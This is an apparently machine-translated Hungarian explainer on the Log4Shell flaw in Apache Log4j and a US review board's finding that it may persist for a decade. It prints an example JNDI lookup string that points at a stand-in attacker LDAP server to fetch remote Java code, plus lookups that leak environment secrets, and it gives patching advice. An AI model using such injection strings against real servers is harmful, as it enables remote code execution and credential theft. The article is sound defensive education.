8 hónap elteltével az Egyesült Államok azt állítja, hogy a Log4Shell „egy évtizedig vagy még tovább” lesz.

Ne felejtsd el! Log4Shell?

Ez egy veszélyes hiba volt a népszerű, nyílt forráskódú Java programozási eszköztárban log4j, a „Logging for Java” rövidítése, amelyet az Apache Software Foundation adott ki liberális, ingyenes forráskód-licensz keretében.

Ha valaha is írt bármilyen szoftvert, a legegyszerűbb BAT-fájltól egy Windows-laptopon a legrosszabb mega-alkalmazásig, amely kiszolgálók egész során fut, akkor naplózási parancsokat használt.

Alapkimenetből, mint pl echo "Starting calculations (this may take a while)" a képernyőre nyomtatva, egészen az egyszer írható adatbázisba auditálási vagy megfelelőségi okokból mentett formális üzenetekig, a naplózás a legtöbb program létfontosságú része, különösen akkor, ha valami elromlik, és egyértelmű nyilvántartásra van szükség, hogy pontosan mennyit jutott el korábban. beütött a probléma.

A Log4Shell sebezhetőség (Tulajdonképpen kiderült, hogy több kapcsolódó probléma is van, de az egyszerűség kedvéért itt mindet úgy kezeljük, mintha egy nagy probléma lenne) félig hiba, félig funkció.

Más szavakkal, a Log4j azt tette, amit a kézikönyvben írt, nem úgy, mint egy ilyen puffertúlcsordulási hibával, ahol a jogsértő program helytelenül próbál meg elkavarni azokkal az adatokkal, amelyeket megígért, hogy békén hagy…

…de hacsak nem olvasta el figyelmesen a kézikönyvet, és nem tett további óvintézkedéseket azzal, hogy a Log4j tetejére gondos bevitel-ellenőrzési réteget helyezett el, akkor a szoftver lefagyhat.

Tényleg, rosszul, teljesen lefagyott.

Az interpoláció károsnak tekinthető

Egyszerűen fogalmazva, a Log4j nem mindig pontosan úgy rögzítette a naplóüzeneteket, ahogyan Ön megadta.

Ehelyett volt egy „funkciója”, amelyet a szakzsargonban különbözőképpen és zavaróan ismertek interpoláció, parancshelyettesítés or automatikus átírás, így magán a naplózó segédprogramon belül is elindíthat szövegmanipulációs funkciókat anélkül, hogy ehhez speciális saját kódot kellene írnia.

Például az alábbi BEMENET oszlopban lévő szöveg szó szerint kerül naplózásra, pontosan úgy, ahogy Ön látja, ami valószínűleg az, amit egy naplózási eszközkészlettől elvárhat, különösen, ha pontos nyilvántartást szeretne vezetni a felhasználók által bemutatott bemeneti adatokról. szabályozási okokból:

BEMENETI EREDMÉNY ----------------------- ------------------------ FELHASZNÁLÓNÉV =kacsa -> FELHASZNÁLÓNÉV=kacsa Caller-ID:555-555-5555 -> Caller-ID:555-555-5555 Jelenlegi verzió = 17.0.1 -> Jelenlegi verzió = 17.0.1

De ha a varázslatos karaktersorozatba csomagolt szöveget nyújtott be ${...}, a logger néha okos dolgokat csinál vele, miután megkapta a szöveget, de mielőtt ténylegesen beírta volna a naplófájlba, például:

BEMENETI EREDMÉNY ---------------------------------- --------------- ----------------------------- CURRENT=${java:version}/${java:os} -> CURRENT=Java verzió 17.0.1/Windows 10 10.0 szerverfiók: ${env:USER} -> A kiszolgálófiók: root ${env:AWS_ACCESS_KEY_ID} -> SECRETDATAINTENDEDTOBEINMEMORYONLY

Nyilvánvaló, hogy ha egy megbízható forrásból származó naplózási szöveget fogad el, ahol ésszerű lehetővé tenni a naplózó számára, hogy a naplózót úgy irányítsa, hogy megmondja neki, hogy cserélje ki a sima szöveget belső adatokra, akkor ez a fajta szöveg-átírás hasznos.

De ha a cél egy távoli felhasználó által beküldött adatok nyomon követése, esetleg szabályozási nyilvántartási célból, az ilyen típusú automatikus átírás kétszeresen veszélyes:

• Vita esetén nem rendelkezik megbízható nyilvántartással arról, hogy a felhasználó valójában mit küldött be, mivel a bemenet és a kimenet között módosulhatott.
• Egy rosszindulatú felhasználó rejtetten összeállított bemeneteket küldhet hogy rávegye a szerverét valami olyasmire, amit nem kellett volna.

Ha naplózza a felhasználói beviteleket, például a böngészőazonosító karakterláncát, mondja azt (a szakzsargonban a User-Agent), vagy a felhasználónevüket vagy telefonszámukat, nem szeretné megadni a lehetőséget a felhasználónak, hogy rávegye Önt arra, hogy személyes adatokat írjon (például egy csak memóriát használó jelszó karakterláncot, mint a fenti példában az AWS_ACCESS_KEY_ID) egy állandó naplófájlba.

Különösen akkor, ha magabiztosan közölte az auditorokkal vagy a szabályozóval, hogy soha nem ír egyszerű szöveges jelszavakat állandó tárhelyre. (Te nem szabad ezt megtenni, még ha hivatalosan nem is mondtad el a szabályozónak, akkor nem!)

Rosszabb jön

A Log4Shell is-it-a-bug-or-is-it-a-feature esetben azonban a dolgok sokkal rosszabbak voltak, mint a fentebb bemutatott, amúgy is kockázatos példák.

Például egy felhasználó, aki szándékosan olyan adatokat küldött be, mint az alábbiakban látható, valóban veszélyes eseménysorozatot indíthat el:

BEMENETI EREDMÉNY ------------------------------------------------- ---------------------------------------- ${jndi:ldap://dodgy. server.example:8888/BadThing} -> Töltse le és futtasson egy távoli Java programot!?

A fenti „interpolációs” karakterláncban a ${...} karaktersorozat, amely tartalmazza a rövidítéseket jndi és a ldap mondta a Log4j-nek, hogy ezt tegye:

• Használja a Java név- és címtárfelületet (JNDI) behatárolni dodgy.server.example online.
• Csatlakozzon a szerverhez LDAP-n keresztül, a 8888-as TCP portot használva.
• Kérje az adatokat az LDAP objektumban tárolva BadThing.

Más szavakkal, a támadók speciálisan kialakított bemenetet küldhetnek be, amely arra utasította a szervert, hogy „hívja haza”. az irányításuk alatt álló szerverre, anélkül, hogy annyit, mint egy by-your-ave.

Hogyan lehet ez „funkció”?

Kíváncsi lehet, hogyan került egy ilyen „funkció” a Log4j kódba.

De ez a fajta szöveg-átírás hasznos lehet, ha megbízható forrásból naplózza az adatokat.

Például naplózhat egy numerikus felhasználói azonosítót, de megkérheti a naplózót az LDAP használatára (a könnyű címtárelérési protokoll, amelyet az iparágban széles körben használnak, beleértve a Microsoft Active Directory rendszerét is), hogy lekérje és mentse az adott számlaszámhoz akkoriban társított felhasználónevet.

Ez javítaná a naplófájlban lévő bejegyzés olvashatóságát és történelmi értékét.

De az LDAP-szerver, amelyet a Log4j a fenti példában hívott meg (amelyet a távoli felhasználó választott, ne felejtsd el), valószínűleg nem ismeri az igazságot, nemhogy elmondja, ezért egy rosszindulatú felhasználó használhatja ezt a trükköt. naplóit hamis, sőt jogilag kétes adatokkal.

Még rosszabb, az LDAP szerver előre lefordított Java kódot adhat vissza a naplózandó adatok generálásához, és az Ön szervere kötelességtudóan futtatná ezt a programot – egy ismeretlen programot, amelyet egy nem megbízható kiszolgáló szolgáltat, és amelyet egy nem megbízható felhasználó választott.

Lazán szólva, ha bármely szerver a hálózaton belül bárhol, naplózott nem megbízható bemenetet, amely kívülről érkezett, és ehhez a Log4j-t használta…

…akkor ez a bemenet közvetlen és azonnali módszerként használható arra, hogy rávegye a szerverét valaki más kódjának futtatására, pont így.

Ezt hívják RCE a zsargonban a rövidítése távoli kódfuttatás, és általában az RCE hibákat keresik a leginkább a kiberbűnözők, mivel a thay rendszerint kihasználható rosszindulatú programok automatikus beültetésére.

Sajnos a hiba természetéből adódóan a veszély nem korlátozódott az internetre néző szerverekre, így a C nyelven írt webszerverek használata nem Java (pl. IIS, Apache https, nginx), ezért maguk sem használták a hibát. Log4j kód, nem ment fel a kockázat alól.

Elméletileg minden olyan háttér Java-alkalmazás, amely adatokat fogadott és naplózott a hálózat más helyeiről, és amely a Log4j könyvtárat használta…

…esetleg elérhetik és kihasználhatják külső támadók.

A javítás nagyon egyszerű volt:

• Keresse meg a régi verzióit Log4j bárhol és bárhol a hálózaton. A Java moduloknak általában ilyen neveik vannak log4j-api-2.14.0.jar és a log4j-core-2.14.0.jar, Ahol jar rövid az Java archívum, egy speciálisan strukturált ZIP-fájl. A kereshető előtaggal, a végleges kiterjesztéssel és a fájlnévbe ágyazott verziószámmal a „rossz” Java-könyvtárkódot tartalmazó fájlok gyors megtalálása valójában meglehetősen egyszerű.
• Cserélje ki a bugos verziókat újabbakkal, foltozottakkal.
• Ha nem tudta megváltoztatni a Log4J verzióját, csökkentheti vagy eltávolíthatja a kockázatot, ha eltávolít egyetlen kódmodult a hibás Log4j csomagból (ez a Java kód, amely a fent leírtak szerint a JNDI-kereséseket kezelte), és a saját szűkített JAR-fájlját újracsomagolja, és a hibát elnyomja.

A saga folytatódik

Sajnos egy közelmúltban, részletes jelentés az Egyesült Államok által a múlt héten közzétett Log4Shell sagán Kiberbiztonsági felülvizsgálati testület (CSRB), amely a Nemzetbiztonsági Minisztérium része, azt az aggasztó javaslatot tartalmazza (kiemelésünk alább), hogy:

[A] Log4j esemény még nem ért véget. A [CSRB] úgy értékeli, hogy a Log4j „endémikus sebezhetőség”, és a Log4j sebezhető példányai még sok évig a rendszerekben maradnak, talán egy évtized vagy még tovább. Jelentős kockázat továbbra is fennáll.

Mit kell tenni?

A 42 oldalas (a vezetői összefoglaló csaknem három oldalt tesz ki) a A testület jelentése egy hosszú dokumentum, és egyes részei nehézkesek.

De javasoljuk, hogy olvassa végig, mert lenyűgöző történet arról, hogy még a gyorsan és egyszerűen megoldható kiberbiztonsági problémákat is figyelmen kívül lehet hagyni, vagy későbbre halasztani, vagy akár teljesen megtagadni, mint „valaki másé” probléma” megoldására.

Az Egyesült Államok közszolgálatának figyelemre méltó javaslatai, amelyeket teljes szívvel támogatunk, a következők:

• Fejleszteni kell a pontos információtechnológiai (IT) eszköz- és alkalmazásleltárt.
• [Állítsa be a] dokumentált sebezhetőségre reagáló program.
• [Állítson be] dokumentált sebezhetőség feltárási és kezelési folyamatot.

Amikor a kiberbiztonságról van szó, ne azt kérdezd, hogy mindenki más mit tehet érted…

…de gondold át, mit tehetsz magadért, mert minden fejlesztést szinte biztosan megtesz mindenki más hasznára is.

---

[Beágyazott tartalmat]

---